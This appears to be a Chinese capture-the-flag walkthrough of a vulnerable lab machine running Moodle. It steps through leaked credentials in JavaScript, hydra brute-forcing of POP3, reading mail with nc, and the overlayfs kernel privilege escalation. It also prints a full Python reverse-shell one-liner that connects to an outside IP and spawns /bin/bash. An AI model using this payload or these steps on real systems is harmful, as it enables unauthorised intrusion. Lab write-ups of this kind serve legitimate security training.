0x00 知识要点

1.js信息泄露
2.hydra爆破pop3服务
3.登陆pop3服务（nc，list，retr）
4.moodle平台
5.拼写检查getshell
6.Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation提权

0x01 信息收集

没什么说的 nmap开路

80端口

那么我们就尝试访问下吧

CTF的常规思路 看页面源码

发现个js 跟过去 看看我看到了什么

两个人名 Natalya和Boris

编码解码后得到密码 InvincibleHack3r

这里注意 通过小写的boris加密码才能登陆进去

文中意思pop3在5万多的端口，hydra爆它！

拿到账号 nc去连

文件2发现信息

既然告诉了 那么就执行吧 设置下本地hosts 否则公网这个域名可不是什么好网站 嘿嘿

用给的账号密码登录上去

知道了这个博士也有pop3账号 那么继续爆他

爆完继续nc连pop3 老轨迹 看邮件 拿到web账号

登上去发现txt文件

下载下来 看下文件属性

base64解密 脑洞一下 首页说有admin账户 结合这个 登一下

admin权限还挺大 python弹shell nc接着

poc这里 ip端口换一下

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.43.201”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’

网站一些配置要改否则弹不出来

点这个倒三角

0x02 开始反连

看下内核 好像可以提权 exp去exploit db就行

靶机没gcc环境 要改下exp gcc改成cc仅这一处即可

python起个http wget过去 exp放着下面 访问路径要注意 这里我失误了几次

编译一下 给个权限

0x03 提权成功

访问下路径 此时bgm响起 题材不错很有意思